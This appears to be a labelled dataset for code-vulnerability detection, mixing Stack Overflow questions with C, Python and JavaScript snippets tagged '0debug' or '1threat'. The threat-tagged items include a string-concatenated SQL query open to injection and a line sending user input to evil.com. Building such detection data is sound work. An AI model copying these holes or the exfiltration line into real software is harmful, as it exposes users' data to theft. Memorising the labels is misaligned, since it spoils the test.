Can't get file size with fstat() or lseek() using file descriptor : <p>Trying to <code>open()</code> a file and then get size with <code>lseek()</code> or <code>fstat()</code> but both are resulting in a size of <code>0</code></p> <p>For example, my line: </p> <blockquote> <p>printf("lseek size : %d\nfstat size : %d\nfile desc: %d\n", fileSize, mystat.st_size, fd);</p> </blockquote> <p>using a file <strong>data1</strong> with contents:</p> <pre><code>Jacobs-MBP:Desktop Kubie$ cat data1 2.3 3.1 5.3 1.1 </code></pre> <p>prints:</p> <pre><code>Jacobs-MBP:Desktop Kubie$ ./a.out 4 data1 byte size: 4 Opened: data1 lseek size : 0 fstat size : 0 file desc: 3 </code></pre> <p>Below is my program, intent is to <code>mmap()</code> file into memory for other purposes.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;unistd.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/mman.h&gt; #include &lt;time.h&gt; int main(int argc, char * argv[]) { int fd; struct stat mystat; void * pmap; int fileSize; if (argc &lt; 3) { printf("wrong # args\n"); return 0; } if (argc &gt; 3) { printf("wrong # args\n"); return 0; } sscanf(argv[1], "%d", &amp;byteSize); printf("byte size: %d\n", byteSize); fd = open(argv[2], O_RDWR | O_TRUNC); if (fd == -1) { perror("Error opening file!"); exit(EXIT_FAILURE); } else { printf("Opened: %s\n", argv[2]); } if (fstat(fd, &amp;mystat) &lt; 0) { perror("fstat error!"); close(fd); exit(1); } lseek(fd, 0, SEEK_END); fileSize = lseek(fd, 0, SEEK_CUR); printf("lseek size : %d\nfstat size : %d\nfile desc: %d\n", fileSize, mystat.st_size, fd); pmap = mmap(0, fileSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (pmap == MAP_FAILED) { perror("mmap error!"); close(fd); exit(1); } return 0; } </code></pre> <p>I also noticed that the contents of <code>data1</code> file are erased on completion of this program.</p> <p>Really a newbie with C so any help would be GREATLY appreciated.</p>
0debug
How to declare variable in django html file. not pass from any view. and i also update that variable : <p>I check all blogs in <strong>stackorverflow</strong> but i doesn't find any solution.</p> <p><a href="https://stackoverflow.com/questions/8659560/django-template-increment-the-value-of-a-variable">Django Template - Increment the value of a variable</a></p> <p>This link solution doesn't work. please tell me Other solution.</p>
0debug
Can I Make Real Useful Desktop Program Using Visual Studio? : <p>I've Learned C# Using Visual Studio For Long Enough. It's So Fun and Easy To Code and Learn Programming Using Visual Studio IDE. But Sometimes, I Ever Think To Make A Real Program That Useful Like Usually Software. Could I Make Good Software Just Using Visual Studio ? and If Yes, What's The Shortage of A Software That Develop Using Visual Studio ?</p> <p>Thanks,</p>
0debug
target_ulong helper_rdhwr_ccres(CPUMIPSState *env) { if ((env->hflags & MIPS_HFLAG_CP0) || (env->CP0_HWREna & (1 << 3))) return env->CCRes; else do_raise_exception(env, EXCP_RI, GETPC()); return 0; }
1threat
query = 'SELECT * FROM customers WHERE email = ' + email_input
1threat
A workaround for Python's missing frozen-dict type? : <p>In Python, when you want to use lists as keys of some dictionary, you can turn them into tuples, which are immutable and hence are hashable.</p> <pre><code>&gt;&gt;&gt; a = {} &gt;&gt;&gt; a[tuple(list_1)] = some_value &gt;&gt;&gt; a[tuple(list_2)] = some_other_value </code></pre> <p>The same happens when you want to use <strong>set</strong> objects as keys of some dictionary - you can build a <strong>frozenset</strong>, that is again immutable and hence is hashable.</p> <pre><code>&gt;&gt;&gt; a = {} &gt;&gt;&gt; a[frozenset(set_1)] = some_value &gt;&gt;&gt; a[frozenset(set_2)] = some_other_value </code></pre> <p>But it seems that for dictionary there is no equivalent.</p> <p>A first idea I thought about (and found it bad finally), is to use <code>str(some_dict)</code> as a key. But, dictionaries always use different hash functions, so strings of equal dictionaries may be different.</p> <p>Is there any workaround known as a good practice, or does anyone have other ideas how to use dictionary-like objects as keys of other dictionaries?</p>
0debug
Room cannot verify the data integrity : <p>I am getting this error while running program with Room Database</p> <pre><code>Room cannot verify the data integrity. Looks like you've changed schema but forgot to update the version number. You can simply fix this by increasing the version number. </code></pre> <p>It seems we need to update Database version, but from where we can do that in Room?</p>
0debug
static void vhost_user_cleanup(NetClientState *nc) { VhostUserState *s = DO_UPCAST(VhostUserState, nc, nc); if (s->vhost_net) { vhost_net_cleanup(s->vhost_net); g_free(s->vhost_net); s->vhost_net = NULL; if (nc->queue_index == 0) { qemu_chr_fe_deinit(&s->chr, true); qemu_purge_queued_packets(nc);
1threat
static int filter_samples(AVFilterLink *inlink, AVFilterBufferRef *buf) { AVFilterContext *ctx = inlink->dst; ASyncContext *s = ctx->priv; AVFilterLink *outlink = ctx->outputs[0]; int nb_channels = av_get_channel_layout_nb_channels(buf->audio->channel_layout); int64_t pts = (buf->pts == AV_NOPTS_VALUE) ? buf->pts : av_rescale_q(buf->pts, inlink->time_base, outlink->time_base); int out_size, ret; int64_t delta; if (s->pts == AV_NOPTS_VALUE) { if (pts != AV_NOPTS_VALUE) { s->pts = pts - get_delay(s); } return write_to_fifo(s, buf); } if (pts == AV_NOPTS_VALUE) { return write_to_fifo(s, buf); } delta = pts - s->pts - get_delay(s); out_size = avresample_available(s->avr); if (labs(delta) > s->min_delta) { av_log(ctx, AV_LOG_VERBOSE, "Discontinuity - %"PRId64" samples.\n", delta); out_size += delta; } else { if (s->resample) { int comp = av_clip(delta, -s->max_comp, s->max_comp); av_log(ctx, AV_LOG_VERBOSE, "Compensating %d samples per second.\n", comp); avresample_set_compensation(s->avr, delta, inlink->sample_rate); } delta = 0; } if (out_size > 0) { AVFilterBufferRef *buf_out = ff_get_audio_buffer(outlink, AV_PERM_WRITE, out_size); if (!buf_out) { ret = AVERROR(ENOMEM); goto fail; } avresample_read(s->avr, (void**)buf_out->extended_data, out_size); buf_out->pts = s->pts; if (delta > 0) { av_samples_set_silence(buf_out->extended_data, out_size - delta, delta, nb_channels, buf->format); } ret = ff_filter_samples(outlink, buf_out); if (ret < 0) goto fail; s->got_output = 1; } else { av_log(ctx, AV_LOG_WARNING, "Non-monotonous timestamps, dropping " "whole buffer.\n"); } avresample_read(s->avr, NULL, avresample_available(s->avr)); s->pts = pts - avresample_get_delay(s->avr); ret = avresample_convert(s->avr, NULL, 0, 0, (void**)buf->extended_data, buf->linesize[0], buf->audio->nb_samples); fail: avfilter_unref_buffer(buf); return ret; }
1threat
JSON Decode into php array : <p>I am using JSON square brackets and would like to decode this into a two multidimensional array.</p> <p>This is the JSON:</p> <pre><code>"results" : [[ /* WINNER BRACKET */ [[3,5], [2,4], [6,3], [2,3], [1,5], [5,3], [7,2], [1,2]], [[1,2], [3,4], [5,6], [7,8]], [[9,1], [8,2]], [[1,3]] ], [ /* LOSER BRACKET */ [[5,1], [1,2], [3,2], [6,9]], [[8,2], [1,2], [6,2], [1,3]], [[1,2], [3,1]], [[3,0], [1,9]], [[3,2]], [[4,2]] ], [ /* FINALS */ [[3,8], [1,2]], [[2,1]] ]] </code></pre> <p>And I am looking to decode the above into this type of PHP array as shown below:</p> <pre><code>$winner_results = array ( array("match1",3,5), array("match2",2,4), array("match3",6,3), array("match4",2,3), array("match5",1,5), array("match6",5,3), array("match7",7,2), array("match8",1,2), array("match9",1,12), array("match10",3,4), array("match11",5,6), array("match12",7,8), array("match13",9,1), array("match14",8,2), array("match15",1,3) ); $loser_results = array ( array("match16",5,1), array("match17",1,2), array("match18",3,2), array("match19",6,9), array("match20",8,2), array("match21",1,2), array("match22",6,2), array("match23",1,3), array("match24",1,2), array("match25",3,1), array("match26",3,0), array("match27",1,9), array("match28",3,2), array("match29",4,2) ); $finals_results = array ( array("match30",3,8), array("match31",1,2), array("match32",2,1) ); </code></pre> <p>And would it possible to encode the above PHP array into the exact same JSON format as shown?</p> <p>Many thanks for any help!</p>
0debug
void ga_command_state_add(GACommandState *cs, void (*init)(void), void (*cleanup)(void)) { GACommandGroup *cg = g_malloc0(sizeof(GACommandGroup)); cg->init = init; cg->cleanup = cleanup; cs->groups = g_slist_append(cs->groups, cg); }
1threat
How to pass a literal value to a node? : <p>I've got a function</p> <pre class="lang-py prettyprint-override"><code>def do_something(input_data, column: int): # Do something with one column of the data </code></pre> <p>Now I need to create a node, but I can't do <code>node(do_something, ["input_data", 1], "output")</code>. How can I put the constant value into the node?</p>
0debug
two and digit output not working in even/odd filter in python : { def even_odd_filter(oe): odd_list = [] even_list = [] total = [] for i in oe: i = int(i) if i % 2 == 0: even_list.extend(str(i)) else: odd_list.extend(str(i)) total.append(even_list) total.append(odd_list) total = [even_list, odd_list] print("Even list : ", even_list) print("Odd list : ", odd_list) return total userinput = input("Enter number by comma : ").split(",") print(even_odd_filter(userinput)) }
0debug
how to merge three diff columns in a single column in sql : I have three columns from diff tables select t1.Count_1,t2.Count_2,t3.Count_3 from (SELECT count(*) as Count_1 FROM GuestAddressData) as t1, (SELECT count(*) as Count_2 FROM GuestAddressData) as t2, (SELECT count(*) as Count_3 FROM SMSTable) as t3 but now i want to get it like 1,1,1 as total
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
calling an object's method defined in an ArrayList Java : I'm trying to call addContact method from main method using ArrayList called phone but its not working. here's the code: import java.util.ArrayList; import java.util.Scanner; class A { String name; int num; Scanner sc = new Scanner(System.in); public A(String name, int num) { this.name= name; this.num= num; } public void addContact() { sc.nextLine(); System.out.println("Enter name:"); name = sc.nextLine(); System.out.println("Enter number:"); num = sc.nextInt(); } } public class Main { static void menu() { System.out.println("1. add"); System.out.println("2. break"); } public static void main(String[] args) { Scanner sc = new Scanner(System.in); ArrayList <A> phone; while(true) { menu(); int c = sc.nextInt(); if(c==1) { phone.add().addContact(); //I'm trying to call addContact() } else if(c==2) { break; } } } } Any solution? thanks in advance... (StackOverflow is not letting me post this question cause it has less words than codes. So...........................................................................................................................................................................................................................................................................)
0debug
Update a Deployment image in Kubernetes : <p>I'm very new to Kubernetes and using k8s v1.4, Minikube v0.15.0 and Spotify maven Docker plugin. <br>The build process of my project creates a Docker image and push it directly into the Docker engine of Minikube.</p> <p>The pods are created by the Deployment I've created (using replica set), and the strategy was set to <code>type: RollingUpdate</code>.</p> <p>I saw this in the documentation:</p> <blockquote> <p><strong>Note</strong>: a Deployment’s rollout is triggered if and only if the Deployment’s pod template (i.e. .spec.template) is changed.</p> </blockquote> <p><br>I'm searching for an easy way/workaround to automate the flow: Build triggered > a new Docker image is pushed (withoud version changing) > Deployment will update the pod > service will expose the new pod. <br></p>
0debug
How to compare a string to an array? : I am trying to compare a string to an array but it doesn't seem to work... My code is shown below... if(rs.getString(1).equals(array[0]) && rs.getString(7).equals(array[6])){ JOptionPane.showMessageDialog(null, "not updated"); } how can I do the comparison?
0debug
Why should use warnings; go last? : <p>I vaguely recall that the <code>warnings</code> pragma should go last in the list of us modules being loaded with <code>use</code>. I also vaguely remember that it has something to do with modules registering their own warning categories, but I can't reproduce any problems. Can someone point to a relevant article or show an example where the placement of the <code>warnings</code> pragma makes a difference?</p>
0debug
how to solve "dllmain.obj : error LNK2019: unresolved external symbol "public" error while making a dll project? : 1> Creating library C:\Users\pars\Desktop\example\FEneohookean\Debug\FEneohookean.lib and object C:\Users\pars\Desktop\example\FEneohookean\Debug\FEneohookean.exp 1>dllmain.obj : error LNK2019: unresolved external symbol "public: virtual __thiscall FECoreFactory::~FECoreFactory(void)" (??1FECoreFactory@@UAE@XZ) referenced in function __ 1>dllmain.obj : error LNK2019: unresolved external symbol "public: void __thiscall FECoreKernel::RegisterClass(class FECoreFactory *)" (?RegisterClass@FECoreKernel@@QAEXPAVFECoreFactory@@@Z) referenced in function "public: __thiscall FERegisterClass_T<class FENeoHookeanPI>::FERegisterClass_T<class FENeoHookeanPI>(unsigned int,char const *)" (??0?$FERegisterClass_T@VFENeoHookeanPI@@@@QAE@IPBD@Z) 1>dllmain.obj : error LNK2019: unresolved external symbol "public: static class FECoreKernel & __cdecl FECoreKernel::GetInstance(void)" (?GetInstance@FECoreKernel@@SAAAV1@XZ) referenced in function "public: __thiscall FERegisterClass_T<class FENeoHookeanPI>::FERegisterClass_T<class FENeoHookeanPI>(unsigned int,char const *)" (??0?$FERegisterClass_T@VFENeoHookeanPI@@@@QAE@IPBD@Z) 1>dllmain.obj : error LNK2019: unresolved external symbol "public: __thiscall FECoreFactory::FECoreFactory(unsigned int,char const *)" (??0FECoreFactory@@QAE@IPBD@Z) referenced in function "public: __thiscall FERegisterClass_T<class FENeoHookeanPI>::FERegisterClass_T<class FENeoHookeanPI>(unsigned int,char const *)" (??0?$FERegisterClass_T@VFENeoHookeanPI@@@@QAE@IPBD@Z) 1>dllmain.obj : error LNK2019: unresolved external symbol "public: __thiscall FEElasticMaterial::FEElasticMaterial(class FEModel *)" (??0FEElasticMaterial@@QAE@PAVFEModel@@@Z) referenced in function "public: __thiscall FENeoHookeanPI::FENeoHookeanPI(class FEModel *)" (??0FENeoHookeanPI@@QAE@PAVFEModel@@@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual class FEParam * __thiscall FEMaterial::GetParameter(class ParamString const &)" (?GetParameter@FEMaterial@@UAEPAVFEParam@@ABVParamString@@@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual void __thiscall FEMaterial::Serialize(class DumpFile &)" (?Serialize@FEMaterial@@UAEXAAVDumpFile@@@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual bool __thiscall FEElasticMaterial::SetAttribute(char const *,char const *)" (?SetAttribute@FEElasticMaterial@@UAE_NPBD0@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual bool __thiscall FEElasticMaterial::SetAttribute(char const *,char const *)" (?SetAttribute@FEElasticMaterial@@UAE_NPBD0@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual int __thiscall FEMaterial::Properties(void)" (?Properties@FEMaterial@@UAEHXZ) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual class FECoreBase * __thiscall FEMaterial::GetProperty(int)" (?GetProperty@FEMaterial@@UAEPAVFECoreBase@@H@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual int __thiscall FEMaterial::FindPropertyIndex(char const *)" (?FindPropertyIndex@FEMaterial@@UAEHPBD@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual bool __thiscall FEMaterial::SetProperty(int,class FECoreBase *)" (?SetProperty@FEMaterial@@UAE_NHPAVFECoreBase@@@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual double __thiscall FESolidMaterial::Density(void)" (?Density@FESolidMaterial@@UAENXZ) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual void __thiscall FEElasticMaterial::SetLocalCoordinateSystem(class FEElement &,int,class FEMaterialPoint &)" (?SetLocalCoordinateSystem@FEElasticMaterial@@UAEXAAVFEElement@@HAAVFEMaterialPoint@@@Z) 1>dllmain.obj : error LNK2001: unresolved external symbol "public: virtual double __thiscall FEElasticMaterial::StrainEnergyDensity(class FEMaterialPoint &)" (?StrainEnergyDensity@FEElasticMaterial@@UAENAAVFEMaterialPoint@@@Z) 1>dllmain.obj : error LNK2019: unresolved external symbol "public: __thiscall FEElasticMaterialPoint::FEElasticMaterialPoint(void)" (??0FEElasticMaterialPoint@@QAE@XZ) referenced in function "public: virtual class FEMaterialPoint * __thiscall FEElasticMaterial::CreateMaterialPointData(void)" (?CreateMaterialPointData@FEElasticMaterial@@UAEPAVFEMaterialPoint@@XZ) 1>dllmain.obj : error LNK2019: unresolved external symbol "public: virtual __thiscall FEElasticMaterial::~FEElasticMaterial(void)" (??1FEElasticMaterial@@UAE@XZ) referenced in function "public: virtual __thiscall FENeoHookeanPI::~FENeoHookeanPI(void)" (??1FENeoHookeanPI@@UAE@XZ) 1>FENeoHookeanPI.obj : error LNK2019: unresolved external symbol "protected: void __thiscall FEParamContainer::AddParameter(void *,enum FEParamType,int,class RANGE,char const *)" (?AddParameter@FEParamContainer@@IAEXPAXW4FEParamType@@HVRANGE@@PBD@Z) referenced in function "protected: virtual void __thiscall FENeoHookeanPI::BuildParamList(void)" (?BuildParamList@FENeoHookeanPI@@MAEXXZ) 1>FENeoHookeanPI.obj : error LNK2019: unresolved external symbol "protected: virtual void __thiscall FESolidMaterial::BuildParamList(void)" (?BuildParamList@FESolidMaterial@@MAEXXZ) referenced in function "protected: virtual void __thiscall FENeoHookeanPI::BuildParamList(void)" (?BuildParamList@FENeoHookeanPI@@MAEXXZ) 1>FENeoHookeanPI.obj : error LNK2019: unresolved external symbol "public: virtual void __thiscall FEElasticMaterial::Init(void)" (?Init@FEElasticMaterial@@UAEXXZ) referenced in function "public: virtual void __thiscall FENeoHookeanPI::Init(void)" (?Init@FENeoHookeanPI@@UAEXXZ) 1>FENeoHookeanPI.obj : error LNK2019: unresolved external symbol "public: class mat3ds __thiscall FEElasticMaterialPoint::LeftCauchyGreen(void)" (?LeftCauchyGreen@FEElasticMaterialPoint@@QAE?AVmat3ds@@XZ) referenced in function "public: virtual class mat3ds __thiscall FENeoHookeanPI::Stress(class FEMaterialPoint &)" (?Stress@FENeoHookeanPI@@UAE?AVmat3ds@@AAVFEMaterialPoint@@@Z) 1>C:\Users\pars\Desktop\example\FEneohookean\Debug\FEneohookean.dll : fatal error LNK1120: 21 unresolved externals 1> 1>Build FAILE Hi every body I want to make a plugin for a software. In order to make the plugin, I should make a dll file (a file with dll extension) but I have faced many challenges about making it . my system is windows 7 and I'm using Microsoft visual studio 2010 as an IDE. I made a dll project and made two source files, and one header file and then I build the solution but I encountered previous errors, (before building the solution I added the path of include and lib directories of the software). I would appreciate if someone could help me with this problem. Thanks' Faezeh
0debug
Full Outer Join not getting full record from both table in MS SQL SERVER 2008 r2 : I am not able to get full record from two table using JOIN in MS SQL SERVER I have table Blog & Category **Blog Table** ID BlogTitle CatID Public 1 Title One 10 1 2 Title Two 0 1 3 Title Three NULL 1 **Category Table** CatID CatName 10 Category One 20 Category Two SELECT ID, BlogTitle, c.CatID, CatName FROM Blog b FULL OUTER JOIN Category C ON b.CatID = c.CatID WHERE Public = 1 AND ID = 1 For above query i get following result ID BlogTitle CatID CatName 1 Title One NULL NULL While i am expecting following result ID BlogTitle CatID CatName 1 Title One 10 Category One I tried few thing but i am not sure what i am doing wrong.
0debug
why local variable changed automatically : <p>I write a function to delete a node in binary search tree. Here is my code.</p> <pre><code>#include &lt;iostream&gt; struct BSTNode { int data; BSTNode *left; BSTNode *right; }; BSTNode * GetNode(int data); BSTNode * FindMin(BSTNode *root); BSTNode * Insert(BSTNode *root, int data); void PreOrder(BSTNode *root); BSTNode * DeleteNode(BSTNode *root,int data); BSTNode * GetNode(int data) { BSTNode *newNode = new BSTNode; newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL; return newNode; } BSTNode * FindMin(BSTNode *root) { if(root == NULL) return root; while(root-&gt;left != NULL) root = root-&gt;left; return root; } BSTNode * Insert(BSTNode *root, int data) { if(root == NULL) { root = GetNode(data); return root; } else if (data &lt;= root-&gt;data) root-&gt;left = Insert(root-&gt;left, data); else if (data &gt; root-&gt;data) root-&gt;right = Insert(root-&gt;right, data); return root; } void PreOrder(BSTNode *root) { if(root == NULL) return; std::cout &lt;&lt; root-&gt;data &lt;&lt; std::endl; PreOrder(root-&gt;left); PreOrder(root-&gt;right); } BSTNode * DeleteNode(BSTNode *root,int data) { if(root == NULL) return root; else if(data &lt; root-&gt;data) root-&gt;left = DeleteNode(root-&gt;left, data); else if(data &gt; root-&gt;data) root-&gt;right = DeleteNode(root-&gt;right, data); else // Found the Node { // case 1: No child if(root-&gt;left == NULL &amp;&amp; root-&gt;right == NULL) { delete root; root = NULL; return root; } // case 2: One child else if(root-&gt;left == NULL) { BSTNode * temp = root; root = root-&gt;right; delete temp; return root; } else if(root-&gt;right = NULL) { BSTNode * temp = root; root = root-&gt;left; delete temp; return root; } else // case 3: two child { BSTNode * temp = FindMin(root-&gt;right); root-&gt;data = temp-&gt;data; root-&gt;right = DeleteNode(root-&gt;right, temp-&gt;data); } } } int main() { BSTNode *root = NULL; root = Insert(root, 15); root = Insert(root, 10); root = Insert(root, 20); root = Insert(root, 25); root = Insert(root, 8); root = Insert(root, 12); root = DeleteNode(root, 15); PreOrder(root); return 0; } </code></pre> <p>but i across a problem with </p> <pre><code>else // case 3: two child { BSTNode * temp = FindMin(root-&gt;right); root-&gt;data = temp-&gt;data; root-&gt;right = DeleteNode(root-&gt;right, temp-&gt;data); } </code></pre> <p>when program came to else statement, root->right become NULL automatically</p> <p>why this happen ? how can i fix it ?</p> <p>any ideas appreciated!</p>
0debug
Difference between MVC and 3-tiers architecture : <p>After a lot of reading i still unable to understand the difference between the design pattern MVC and 3-tier architecture. I see that the model in mvc is the same as business layer in 3-tier. In all websites i searched in, i found that MVC is an applicatif architecture for presentation layer in 3-tier architecture.</p>
0debug
int qemu_v9fs_synth_add_file(V9fsSynthNode *parent, int mode, const char *name, v9fs_synth_read read, v9fs_synth_write write, void *arg) { int ret; V9fsSynthNode *node, *tmp; if (!v9fs_synth_fs) { return EAGAIN; } if (!name || (strlen(name) >= NAME_MAX)) { return EINVAL; } if (!parent) { parent = &v9fs_synth_root; } qemu_mutex_lock(&v9fs_synth_mutex); QLIST_FOREACH(tmp, &parent->child, sibling) { if (!strcmp(tmp->name, name)) { ret = EEXIST; goto err_out; } } mode = ((mode & 0777) | S_IFREG); node = g_malloc0(sizeof(V9fsSynthNode)); node->attr = &node->actual_attr; node->attr->inode = v9fs_synth_node_count++; node->attr->nlink = 1; node->attr->read = read; node->attr->write = write; node->attr->mode = mode; node->private = arg; pstrcpy(node->name, sizeof(node->name), name); QLIST_INSERT_HEAD_RCU(&parent->child, node, sibling); ret = 0; err_out: qemu_mutex_unlock(&v9fs_synth_mutex); return ret; }
1threat
static target_ulong h_enter(PowerPCCPU *cpu, sPAPRMachineState *spapr, target_ulong opcode, target_ulong *args) { CPUPPCState *env = &cpu->env; target_ulong flags = args[0]; target_ulong pte_index = args[1]; target_ulong pteh = args[2]; target_ulong ptel = args[3]; unsigned apshift, spshift; target_ulong raddr; target_ulong index; uint64_t token; apshift = ppc_hash64_hpte_page_shift_noslb(cpu, pteh, ptel, &spshift); if (!apshift) { return H_PARAMETER; } raddr = (ptel & HPTE64_R_RPN) & ~((1ULL << apshift) - 1); if (is_ram_address(spapr, raddr)) { if ((ptel & HPTE64_R_WIMG) != HPTE64_R_M) { return H_PARAMETER; } } else { if ((ptel & (HPTE64_R_W | HPTE64_R_I | HPTE64_R_M)) != HPTE64_R_I) { return H_PARAMETER; } } pteh &= ~0x60ULL; if (!valid_pte_index(env, pte_index)) { return H_PARAMETER; } index = 0; if (likely((flags & H_EXACT) == 0)) { pte_index &= ~7ULL; token = ppc_hash64_start_access(cpu, pte_index); for (; index < 8; index++) { if (!(ppc_hash64_load_hpte0(cpu, token, index) & HPTE64_V_VALID)) { break; } } ppc_hash64_stop_access(token); if (index == 8) { return H_PTEG_FULL; } } else { token = ppc_hash64_start_access(cpu, pte_index); if (ppc_hash64_load_hpte0(cpu, token, 0) & HPTE64_V_VALID) { ppc_hash64_stop_access(token); return H_PTEG_FULL; } ppc_hash64_stop_access(token); } ppc_hash64_store_hpte(cpu, pte_index + index, pteh | HPTE64_V_HPTE_DIRTY, ptel); args[0] = pte_index + index; return H_SUCCESS; }
1threat
def array_3d(m,n,o): array_3d = [[ ['*' for col in range(m)] for col in range(n)] for row in range(o)] return array_3d
0debug
static void ahci_init_d2h(AHCIDevice *ad) { IDEState *ide_state = &ad->port.ifs[0]; AHCIPortRegs *pr = &ad->port_regs; if (ad->init_d2h_sent) { return; } if (ahci_write_fis_d2h(ad)) { ad->init_d2h_sent = true; pr->sig = (ide_state->hcyl << 24) | (ide_state->lcyl << 16) | (ide_state->sector << 8) | (ide_state->nsector & 0xFF); } }
1threat
Android ERR help pls : SplashActivity public class SplashActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); startActivity(new Intent(this, MainActivity.class)); } } XML-splash_background file <layer-list xmlns:android="http://schemas.android.com/apk/res/android"> <item android:drawable="@color/colorPrimary" /> <item> <bitmap android:gravity="center" android:src="@mipmap/ic_launcher" /> </item> </layer-list> <resources> <!-- Base application theme --> <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar"> <item name="colorPrimary">@color/colorPrimary</item> <item name="colorPrimaryDark">@color/colorPrimaryDark</item> <item name="colorAccent">@color/colorAccent</item> </style> <!-- Splash --> <style name="SplashTheme" parent="AppTheme"> <item name="windowNoTitle">true</item> <item name="windowActionBar">false</item> <item name="android:windowBackground">@drawable/splash_background</item> </style> <!-- Main --> <style name="NoTitleScreen" parent="AppTheme"> <item name="windowNoTitle">true</item> <item name="colorPrimaryDark">@color/actionBarColor</item> </style> </resources> Manifest file <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.app.jiwon.tekken7_manual"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/NoTitleScreen"> <activity android:name=".Activity.SplashActivity" android:theme="@style/SplashTheme"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".Activity.MainActivity"></activity> </application> </manifest> E/AndroidRuntime: FATAL EXCEPTION: main Process: com.app.jiwon.tekken7_manual, PID: 8933 java.lang.RuntimeException: Unable to start activity ComponentInfo{com.app.jiwon.tekken7_manual/com.app.jiwon.tekken7_manual.Activity.SplashActivity}: android.content.res.Resources$NotFoundException: Drawable com.app.jiwon.tekken7_manual:drawable/splash_background with resource ID #0x7f070071 at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2778) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2856) at android.app.ActivityThread.-wrap11(Unknown Source:0) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1589) at android.os.Handler.dispatchMessage(Handler.java:106) at android.os.Looper.loop(Looper.java:164) at android.app.ActivityThread.main(ActivityThread.java:6494) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807) Caused by: android.content.res.Resources$NotFoundException: Drawable com.app.jiwon.tekken7_manual:drawable/splash_background with resource ID #0x7f070071 Caused by: android.content.res.Resources$NotFoundException: File res/drawable/splash_background.xml from drawable resource ID #0x7f070071 at android.content.res.ResourcesImpl.loadDrawableForCookie(ResourcesImpl.java:820) at android.content.res.ResourcesImpl.loadDrawable(ResourcesImpl.java:630) at android.content.res.Resources.getDrawableForDensity(Resources.java:877) at android.content.res.Resources.getDrawable(Resources.java:819) at android.content.Context.getDrawable(Context.java:605) at android.support.v4.content.ContextCompat.getDrawable(ContextCompat.java:351) at android.support.v7.widget.AppCompatDrawableManager.getDrawable(AppCompatDrawableManager.java:200) at android.support.v7.widget.TintTypedArray.getDrawableIfKnown(TintTypedArray.java:87) at android.support.v7.app.AppCompatDelegateImplBase.<init>(AppCompatDelegateImplBase.java:128) at android.support.v7.app.AppCompatDelegateImplV9.<init>(AppCompatDelegateImplV9.java:149) at android.support.v7.app.AppCompatDelegateImplV11.<init>(AppCompatDelegateImplV11.java:29) at android.support.v7.app.AppCompatDelegateImplV14.<init>(AppCompatDelegateImplV14.java:54) at android.support.v7.app.AppCompatDelegateImplV23.<init>(AppCompatDelegateImplV23.java:31) at android.support.v7.app.AppCompatDelegateImplN.<init>(AppCompatDelegateImplN.java:31) at android.support.v7.app.AppCompatDelegate.create(AppCompatDelegate.java:198) at android.support.v7.app.AppCompatDelegate.create(AppCompatDelegate.java:183) at android.support.v7.app.AppCompatActivity.getDelegate(AppCompatActivity.java:519) at android.support.v7.app.AppCompatActivity.onCreate(AppCompatActivity.java:70) at com.app.jiwon.tekken7_manual.Activity.SplashActivity.onCreate(SplashActivity.java:10) at android.app.Activity.performCreate(Activity.java:6999) at android.app.Activity.performCreate(Activity.java:6990) at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1214) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2731) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2856) at android.app.ActivityThread.-wrap11(Unknown Source:0) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1589) at android.os.Handler.dispatchMessage(Handler.java:106) at android.os.Looper.loop(Looper.java:164) at android.app.ActivityThread.main(ActivityThread.java:6494) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807) Caused by: org.xmlpull.v1.XmlPullParserException: Binary XML file line #0: <bitmap> requires a valid 'src' attribute at android.graphics.drawable.BitmapDrawable.updateStateFromTypedArray(BitmapDrawable.java:823) at android.graphics.drawable.BitmapDrawable.inflate(BitmapDrawable.java:754) at android.graphics.drawable.DrawableInflater.inflateFromXmlForDensity(DrawableInflater.java:142) at android.graphics.drawable.Drawable.createFromXmlInnerForDensity(Drawable.java:1295) at android.graphics.drawable.Drawable.createFromXmlInner(Drawable.java:1284) at android.graphics.drawable.LayerDrawable.inflateLayers(LayerDrawable.java:279) at android.graphics.drawable.LayerDrawable.inflate(LayerDrawable.java:194) at android.graphics.drawable.DrawableInflater.inflateFromXmlForDensity(DrawableInflater.java:142) at android.graphics.drawable.Drawable.createFromXmlInnerForDensity(Drawable.java:1295) at android.graphics.drawable.Drawable.createFromXmlForDensity(Drawable.java:1254) at android.content.res.ResourcesImpl.loadDrawableForCookie(ResourcesImpl.java:807) ... 31 more I want create a splash activity. I applied this splash_background file to the background of the 